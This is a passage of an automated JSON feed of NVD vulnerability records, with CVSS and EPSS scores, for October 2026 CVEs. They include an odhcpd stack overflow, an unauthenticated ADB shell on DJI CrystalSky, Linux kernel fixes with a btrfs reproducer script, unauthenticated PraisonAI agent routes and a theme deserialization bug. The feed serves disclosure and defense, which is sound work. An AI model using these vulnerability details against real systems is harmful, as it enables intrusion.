fixes.","publishedAt":"2026-10-23T15:17:31.453Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46651","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00378,"percentile":0.31456,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-46651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46651","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46651","type":"primary","publishedAt":"2026-10-23T15:17:31.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-46651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-46651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53921","cveId":"CVE-2026-53921","aliases":[],"kind":"vulnerability","title":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt.","summary":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA response handler writes past the end of a fixed 512-byte stack buffer (pdbuf) when a single DHCPv6 REQUEST carries enough IA options to nearly exhaust the reply space. Two independent overflow sites exist in the same call chain, both reachable from the network via a single unauthenticated UDP packet. odhcpd runs as root on OpenWrt; embedded targets often lack stack canaries and ASLR, making code execution realistic. This issue has been patched in version 25.12.","detail":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA response handler writes past the end of a fixed 512-byte stack buffer (pdbuf) when a single DHCPv6 REQUEST carries enough IA options to nearly exhaust the reply space. Two independent overflow sites exist in the same call chain, both reachable from the network via a single unauthenticated UDP packet. odhcpd runs as root on OpenWrt; embedded targets often lack stack canaries and ASLR, making code execution realistic. This issue has been patched in version 25.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:53.710Z","updatedAt":"2026-10-23T19:37:11.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53921","asOf":"2026-10-23T19:37:11.060Z"},"epss":{"probability":0.01123,"percentile":0.66,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53921&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53921","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53921","type":"primary","publishedAt":"2026-10-23T14:17:53.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53921&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53921, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114357","cveId":"CVE-2026-114357","aliases":[],"kind":"vulnerability","title":"Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain...","summary":"Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain an unauthenticated shell (uid 2000), a foothold for privilege escalation to root. The device ships with ro.adb.secure=0 (no host key authorization) and USB ADB enabled by default; ADB over TCP is not enabled by default but, once enabled (e.g. via the shipped /system/bin/adbd_tcp.sh or 'setprop persist.adb.tcp.port 5555'), the same unauthenticated shell is reachable over the network (CVSS 4.0 base 9.3).","detail":"Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain an unauthenticated shell (uid 2000), a foothold for privilege escalation to root. The device ships with ro.adb.secure=0 (no host key authorization) and USB ADB enabled by default; ADB over TCP is not enabled by default but, once enabled (e.g. via the shipped /system/bin/adbd_tcp.sh or 'setprop persist.adb.tcp.port 5555'), the same unauthenticated shell is reachable over the network (CVSS 4.0 base 9.3).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:49.820Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114357","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.0031,"percentile":0.23676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114357","type":"primary","publishedAt":"2026-10-23T14:17:49.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99079","cveId":"CVE-2026-99079","aliases":[],"kind":"vulnerability","title":"Linux kernel: net/mlx5e: Prevent stale XSK buffer release on refill retry","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Prevent stale XSK buffer release on refill retry\n\nWhen an XDP redirect to an AF_XDP socket fails because its RX ring is\nfull, the XSK core frees the buffer. During the subsequent batched refill\nof a legacy cyclic RQ, mlx5e also releases the WQE's XSK buffer before\nallocating a replacement. If that refill succeeds only partially, a WQE\nleft without a replacement retains its old buffer pointer.\n\nThe buffer can meanwhile be allocated to another WQE. A later refill\nretry can then free the live buffer through the stale pointer and publish\nthe same UMEM frame twice.\n\nMark the WQE as released immediately after the driver-side free. The flag\nis already cleared when a replacement buffer is assigned, so refill\nretries no longer release stale pointers.\n\nThe failure is silent and produces no kernel warning or splat. A\nstandalone legacy cyclic-RQ zero-copy libxsk reproducer, using 64-byte UDP\ntraffic offered at 12 Mpps, detected it: stock stopped after 2,854,914\npackets in 4.094 seconds, with 4,542 xdp_rx_ring_full events and 64\nownership/double-publication errors. With this change it processed\n356,904,225 packets in 30 seconds despite 571,405 xdp_rx_ring_full events,\nwith no ownership or data errors.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Prevent stale XSK buffer release on refill retry\n\nWhen an XDP redirect to an AF_XDP socket fails because its RX ring is\nfull, the XSK core frees the buffer. During the subsequent batched refill\nof a legacy cyclic RQ, mlx5e also releases the WQE's XSK buffer before\nallocating a replacement. If that refill succeeds only partially, a WQE\nleft without a replacement retains its old buffer pointer.\n\nThe buffer can meanwhile be allocated to another WQE. A later refill\nretry can then free the live buffer through the stale pointer and publish\nthe same UMEM frame twice.\n\nMark the WQE as released immediately after the driver-side free. The flag\nis already cleared when a replacement buffer is assigned, so refill\nretries no longer release stale pointers.\n\nThe failure is silent and produces no kernel warning or splat. A\nstandalone legacy cyclic-RQ zero-copy libxsk reproducer, using 64-byte UDP\ntraffic offered at 12 Mpps, detected it: stock stopped after 2,854,914\npackets in 4.094 seconds, with 4,542 xdp_rx_ring_full events and 64\nownership/double-publication errors. With this change it processed\n356,904,225 packets in 30 seconds despite 571,405 xdp_rx_ring_full events,\nwith no ownership or data errors.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:32.040Z","updatedAt":"2026-10-24T14:16:54.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99079","asOf":"2026-10-24T14:16:54.940Z"},"epss":{"probability":0.00455,"percentile":0.39254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99079","type":"primary","publishedAt":"2026-10-23T13:17:32.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99078","cveId":"CVE-2026-99078","aliases":[],"kind":"vulnerability","title":"Linux kernel: net/mlx5e: Prevent stale XSK buffer release on MPWQE refill retry","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Prevent stale XSK buffer release on MPWQE refill retry\n\nWith AF_XDP on a striding RQ, mlx5e defers releasing XSK buffers until\nan MPWQE is refilled. If XSK allocation then returns -ENOMEM,\nactual_wq_head is not advanced and a later NAPI poll retries the same\nWQE.\n\nmlx5e_free_rx_mpwqe() leaves each released slot marked as releasable. On\nretry it can therefore call xsk_buff_free() again through stale pointers\nafter the frames have returned to the XSK pool and been reallocated.\n\nSet all skip_release_bitmap bits in the common error path of\nmlx5e_xsk_alloc_rx_mpwqe(). This matches mlx5e_alloc_rx_mpwqe(). A\nsuccessful allocation already clears the bitmap after replacing every\nbuffer, so retries become idempotent without changing the success path.\n\nFault injection forced three consecutive failures for one selected MPWQE.\nBoth an early allocation failure and a partial 8-of-16-buffer unwind\nreleased the original 16 XSK buffers only once. Each error left a full\nbitmap, the following NAPI retry skipped the release, and a later\nsuccessful allocation cleared it. A 20-second AF_XDP zero-copy pressure\nrun exercised 1,575,262 buffer allocation failures without invalid\ndescriptors, WQE errors, or kernel warnings.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Prevent stale XSK buffer release on MPWQE refill retry\n\nWith AF_XDP on a striding RQ, mlx5e defers releasing XSK buffers until\nan MPWQE is refilled. If XSK allocation then returns -ENOMEM,\nactual_wq_head is not advanced and a later NAPI poll retries the same\nWQE.\n\nmlx5e_free_rx_mpwqe() leaves each released slot marked as releasable. On\nretry it can therefore call xsk_buff_free() again through stale pointers\nafter the frames have returned to the XSK pool and been reallocated.\n\nSet all skip_release_bitmap bits in the common error path of\nmlx5e_xsk_alloc_rx_mpwqe(). This matches mlx5e_alloc_rx_mpwqe(). A\nsuccessful allocation already clears the bitmap after replacing every\nbuffer, so retries become idempotent without changing the success path.\n\nFault injection forced three consecutive failures for one selected MPWQE.\nBoth an early allocation failure and a partial 8-of-16-buffer unwind\nreleased the original 16 XSK buffers only once. Each error left a full\nbitmap, the following NAPI retry skipped the release, and a later\nsuccessful allocation cleared it. A 20-second AF_XDP zero-copy pressure\nrun exercised 1,575,262 buffer allocation failures without invalid\ndescriptors, WQE errors, or kernel warnings.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:31.910Z","updatedAt":"2026-10-24T14:16:54.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99078","asOf":"2026-10-24T14:16:54.790Z"},"epss":{"probability":0.00455,"percentile":0.39254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99078","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99078","type":"primary","publishedAt":"2026-10-23T13:17:31.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99078, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98959","cveId":"CVE-2026-98959","aliases":[],"kind":"vulnerability","title":"Linux kernel: btrfs: fix xattr replace when multiple xattrs are packed in the same item","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix xattr replace when multiple xattrs are packed in the same item\n\nIf we have a btrfs_dir_item item that packs multiple xattrs and then we\nreplace the value of one of them (with the setxattr(2) family of syscalls)\nwith another value of a different size, we end up not having a fully\ninitialized btrfs_dir_item, resulting in a corruption that the tree\nchecker will detect at extent buffer writeback time.\n\nThis is because in btrfs_setxattr() when we find a btrfs_dir_item with\nmultiple xattrs (due to the crc32c hash of their name being the same)\nwe delete one of the xattr items (btrfs_dir_item) and then insert a new\none, but the deletion and insertion results in shifting existing data in\nthe leaf and therefore when the new value of a xattr has a different size,\nthe new btrfs_dir_item is placed in a leaf section that was not\ninitialized and we only copy the value's data and set the value's length\nin the new btrfs_dir_item, without setting the name, the name's length,\nthe key (which must be all zeroes for xattrs), flags (BTRFS_FT_XATTR) and\ntransaction ID.\n\nThe following script reproduces the issue:\n\n  $ cat test.sh\n  #!/bin/bash\n\n  DEV=/dev/sdi\n  MNT=/mnt/sdi\n\n  mkfs.btrfs -f $DEV\n  mount $DEV $MNT\n\n  touch $MNT/testfile\n\n  # Add two xattrs that, on btrfs, have the same hash (crc32c) for their\n  # name and therefore are packed into the same btrfs_dir_item.\n  setfattr -n user.foobar -v 123 $MNT/testfile\n  setfattr -n user.WvG1c1Td -v qwerty $MNT/testfile\n\n  # Verify the xattrs are present.\n  echo \"xattrs before:\"\n  getfattr --absolute-names --dump $MNT/testfile\n\n  # Now replace the value of the foobar xattr with a significantly larger\n  # value.\n  setfattr -n user.foobar -v abcdefghijklmnopqrstuvwxyz $MNT/testfile\n\n  # Check the xattrs have the expected values.\n  echo \"xattrs after:\"\n  getfattr --absolute-names --dump $MNT/testfile\n\n  umount $MNT\n\nRunning it:\n\n  $ ./test.sh\n  (...)\n  xattrs before:\n  # file: /mnt/sdi/testfile\n  user.WvG1c1Td=\"qwerty\"\n  user.foobar=\"123\"\n\n  xattrs after:\n  # file: /mnt/sdi/testfile\n  user.WvG1c1Td=\"qwerty\"\n\nSo the \"user.foobar\" xattr is missing and there was a t","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix xattr replace when multiple xattrs are packed in the same item\n\nIf we have a btrfs_dir_item item that packs multiple xattrs and then we\nreplace the value of one of them (with the setxattr(2) family of syscalls)\nwith another value of a different size, we end up not having a fully\ninitialized btrfs_dir_item, resulting in a corruption that the tree\nchecker will detect at extent buffer writeback time.\n\nThis is because in btrfs_setxattr() when we find a btrfs_dir_item with\nmultiple xattrs (due to the crc32c hash of their name being the same)\nwe delete one of the xattr items (btrfs_dir_item) and then insert a new\none, but the deletion and insertion results in shifting existing data in\nthe leaf and therefore when the new value of a xattr has a different size,\nthe new btrfs_dir_item is placed in a leaf section that was not\ninitialized and we only copy the value's data and set the value's length\nin the new btrfs_dir_item, without setting the name, the name's length,\nthe key (which must be all zeroes for xattrs), flags (BTRFS_FT_XATTR) and\ntransaction ID.\n\nThe following script reproduces the issue:\n\n  $ cat test.sh\n  #!/bin/bash\n\n  DEV=/dev/sdi\n  MNT=/mnt/sdi\n\n  mkfs.btrfs -f $DEV\n  mount $DEV $MNT\n\n  touch $MNT/testfile\n\n  # Add two xattrs that, on btrfs, have the same hash (crc32c) for their\n  # name and therefore are packed into the same btrfs_dir_item.\n  setfattr -n user.foobar -v 123 $MNT/testfile\n  setfattr -n user.WvG1c1Td -v qwerty $MNT/testfile\n\n  # Verify the xattrs are present.\n  echo \"xattrs before:\"\n  getfattr --absolute-names --dump $MNT/testfile\n\n  # Now replace the value of the foobar xattr with a significantly larger\n  # value.\n  setfattr -n user.foobar -v abcdefghijklmnopqrstuvwxyz $MNT/testfile\n\n  # Check the xattrs have the expected values.\n  echo \"xattrs after:\"\n  getfattr --absolute-names --dump $MNT/testfile\n\n  umount $MNT\n\nRunning it:\n\n  $ ./test.sh\n  (...)\n  xattrs before:\n  # file: /mnt/sdi/testfile\n  user.WvG1c1Td=\"qwerty\"\n  user.foobar=\"123\"\n\n  xattrs after:\n  # file: /mnt/sdi/testfile\n  user.WvG1c1Td=\"qwerty\"\n\nSo the \"user.foobar\" xattr is missing and there was a transaction abort\nwhen unmounting the fs with the following traces in dmesg:\n\n  $ dmesg\n  [869800.159271] BTRFS warning (device sdi): access to eb bytenr 30474240 len 16384 out of range start 16015 len 25964\n  [869800.159293] ------------[ cut here ]------------\n  [869800.159296] WARNING: fs/btrfs/extent_io.c:4408 at report_eb_range+0x44/0x60 [btrfs], CPU#8: getfattr/2605179\n  [869800.168961] Modules linked in: btrfs dm_thin_pool (...)\n  [869800.190527] CPU: 8 UID: 0 PID: 2605179 Comm: getfattr Tainted: G        W           7.3.0-rc3-btrfs-next-244+ #1 PREEMPT(full)\n  [869800.193726] Tainted: [W]=WARN\n  [869800.194502] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014\n  [869800.197576] RIP: 0010:report_eb_range+0x44/0x60 [btrfs]\n  [869800.198985] Code: 48 8b 7b 18 (...)\n  [869800.203531] RSP: 0018:ffffce4541937d58 EFLAGS: 00010246\n  [869800.204609] RAX: 0000000000000000 RBX: ffff8dde054b8738 RCX: 0000000000000000\n  [869800.206137] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffffffffc04c92a0\n  [869800.207645] RBP: 0000000000003e8f R08: 0000000000000000 R09: 3fffffffffefffff\n  [869800.226175] R10: ffffce4541937a88 R11: 0000000000000003 R12: 000000000000656c\n  [869800.227594] R13: ffff8dde14be800f R14: 000000000000656c R15: 0000000000000069\n  [869800.229097] FS:  00007f59023bb780(0000) GS:ffff8de5788ed000(0000) knlGS:0000000000000000\n  [869800.231137] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  [869800.232321] CR2: 0000558dc45e6a78 CR3: 0000000765b16004 CR4: 0000000000370ef0\n  [869800.233783] Call Trace:\n  [869800.234330]  <TASK>\n  [869800.234791]  read_extent_buffer+0x4d/0x100 [btrfs]\n  [869800.235898]  btrfs_listxattr+0x199/0x240 [btrfs]\n  [869800.236912]  vfs_listxattr+0x51/0\n---truncated---\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:17.233Z","updatedAt":"2026-10-24T14:16:49.307Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98959","asOf":"2026-10-24T14:16:49.307Z"},"epss":{"probability":0.00607,"percentile":0.48727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98959&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98959","type":"primary","publishedAt":"2026-10-23T13:17:17.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98959&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98959, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57116","cveId":"CVE-2026-57116","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.2.1 to before version 4.6.59, PraisonAI's AgentOS FastAPI deployment surface remains unauthenticated in current main and in releases after the published patched version for GHSA-pm96-6xpr-978x / CVE-2026-40151. The chat route directly calls agent.chat(request.message). No-auth and wrong-bearer requests both execute the deployed agent. This is broader than passive metadata disclosure. In any deployment where AgentOS wraps agents with tools, private context, memory, API integrations, or cost-bearing model calls, an unauthenticated reachable client can drive those agents. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.2.1 to before version 4.6.59, PraisonAI's AgentOS FastAPI deployment surface remains unauthenticated in current main and in releases after the published patched version for GHSA-pm96-6xpr-978x / CVE-2026-40151. The chat route directly calls agent.chat(request.message). No-auth and wrong-bearer requests both execute the deployed agent. This is broader than passive metadata disclosure. In any deployment where AgentOS wraps agents with tools, private context, memory, API integrations, or cost-bearing model calls, an unauthenticated reachable client can drive those agents. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:10.690Z","updatedAt":"2026-10-23T13:17:10.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57116","asOf":"2026-10-23T13:17:10.827Z"},"epss":{"probability":0.00273,"percentile":0.19483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57116","type":"primary","publishedAt":"2026-10-23T13:17:10.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112859","cveId":"CVE-2026-112859","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16.","summary":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16.","detail":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:07.700Z","updatedAt":"2026-10-24T15:17:09.507Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112859","asOf":"2026-10-24T15:17:09.507Z"},"epss":{"probability":0.00313,"percentile":0.24006,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112859&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112859","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112859","type":"primary","publishedAt":"2026-10-23T13:17:07.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and 